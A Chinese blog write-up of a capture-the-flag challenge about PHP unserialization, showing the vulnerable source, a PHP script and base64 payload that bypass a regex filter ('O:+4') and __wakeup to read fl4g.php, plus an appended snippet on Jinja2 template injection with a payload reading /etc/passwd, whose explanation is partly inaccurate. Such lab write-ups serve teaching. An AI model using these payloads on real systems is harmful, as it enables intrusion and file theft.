攻防世界--Web进阶--Web_php_unserialize--反序列化---正则表达式---wakeup绕过----base64加密

目录

思路分析

payload

绕过preg_match

绕过__wakeup

 拿到flag

注意的细节 


 来自攻防世界的一道web进阶题,名为Web_php_unserialize

题目给出了一段php代码,应该是后台的部分源码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file;//将file变量的文件名赋值给当前类的file。当解构出该类实例化的对象后,该对象的file就是此时赋值的file 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

 该题考查反序列化,并且根据提示flag在fl4g.php中

思路分析

因此思路是,实例化一个file值为fl4g.php的对象,然后将其序列化(base64加密后)再传给后台的var变量,后台经过正则筛选,再进行反序列化,反序列化一开始会调用__wakeup魔法方法,而该题定义了wakeup方法阻止我们访问fl4g,因此也需要绕过。当解构出该类实例化的对象后,该对象的file就是fl4g.php 

payload

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a=new Demo('fl4g.php');
$b= serialize($a);
echo $b ;//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

运行php结果 

  • 绕过preg_match

if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    }

./[oc]:\d+:/i

正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、 及这些特定字符的组合,组成一个“规则字符串”, 这个“规则字符串”用来表达对字符串的一种过滤逻辑

\d: 匹配一个数字字符。等价于 [0-9]。

+: 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。

/i: 表示匹配的时候不区分大小写

O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
  • 绕过__wakeup

function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

当序列化中的属性数大于实际的属性数时,则可跳过wakeup魔法函数执行

因为该对象只有一个真实属性file而且是private修饰的,因此我们将属性数改为2或者任何大于1的数即可让__wakeup失效

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

编写payload 

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
$a=new Demo('fl4g.php');
$b= serialize($a);
echo $b ;//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
echo '</br>';
$b=str_replace('O:4','O:+4',$b);
echo '</br>';
echo $b;
$b=str_replace(':1:',':2:',$b);
echo '</br>';
echo $b;
echo '</br>';
echo base64_encode($b);
?>

  demo_func_string_serialize 在线代码实例_w3cschool    在线运行PHP的网址

  

 填入payload 

http://111.200.241.244:49499/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

 拿到flag

注意的细节 

注意:不同修饰符的属性序列化后的属性名不一样

public属性被序列化的时候属性名不变
protected属性被序列化的时候属性名会变成\x00*\x00属性名
private属性被序列化的时候属性名会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
这就是为什么上面的payload中serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10  实际上是\x00Demo\x00file        Demo为类名 file为属性名 

特别注意的是,因为浏览器会自动解码\x00,因此你看到的最后序列化结果为O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},并没有看到\x00,但实际base64编码是需要加上\x00的,所以最后这个base64编码需要使用php函数才有效(简单来说都在php环境中使用
如果你使用其它软件base64编码时,经过url解码后的序列化字符串(O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";})也是没有\x00的;但是,你可以使用bp的Decoder模块进行编码,将O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}中的Demo前后添加空字符00,如下:

在D前面加一个00字节 在O后面加一个00字节

这样base64加密后才是正确的payload,否则没有/x00的payload无法使用
部分参考链接:https://blog.csdn.net/qq_41617034/article/details/104573548

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web Python Template Injection 是一种常见的 Web 漏洞类型,通常缩写为 SSTI(Server Side Template Injection)。该漏洞是由于 Web 应用程序未正确处理用户输入导致的,攻击者可以通过构造恶意输入来执行任意代码或获取敏感信息。 Python 作为一种流行的 Web 开发语言,广泛应用于 Web 应用程序中。Python Web 框架(如 Flask、Django 等)通常使用模板引擎来生成动态内容。在模板引擎中,可以使用变量、表达式、条件语句、循环语句等功能来生成动态内容。然而,如果在模板引擎中直接使用用户输入作为变量或表达式的一部分,而没有对用户输入进行适当的验证和过滤,就可能导致模板注入漏洞。 例如,在 Flask 应用程序中,可以使用 Jinja2 模板引擎来生成动态内容。如果在模板中使用了用户输入的变量,攻击者可以构造恶意输入来执行任意代码。例如,以下代码中的 name 变量可能是用户输入的: ```python from flask import Flask, render_template, request app = Flask(__name__) @app.route('/') def index(): name = request.args.get('name', '') return render_template('index.html', name=name) if __name__ == '__main__': app.run(debug=True) ``` 在 index.html 中,可以使用 {{ name }} 来显示用户输入的 name 变量。如果攻击者在 name 中注入了模板代码,就可能导致模板注入漏洞。例如,攻击者可以构造如下的输入: ``` {{ ''.__class__.__mro__[1].__subclasses__()[414]('/etc/passwd').read() }} ``` 这段代码在模板引擎中会被解释为调用 Python 的 subprocess.Popen 函数执行命令 /etc/passwd,并读取其输出。攻击者可以通过这种方式执行任意代码,获取敏感信息或者直接控制服务器。 为了防止 SSTI 漏洞,开发人员应该对用户输入进行严格的验证和过滤,避免在模板引擎中直接使用用户输入作为变量或表达式的一部分。可以使用 Python 的安全模板引擎(如 jinja2-sandbox、jinja2-timeout 等)来限制模板执行的权限,或者使用模板引擎提供的安全过滤器(如 escape、safe 等)来过滤用户输入。此外,还应该及时更新 Web 应用程序和相关组件,以避免已知的漏洞攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值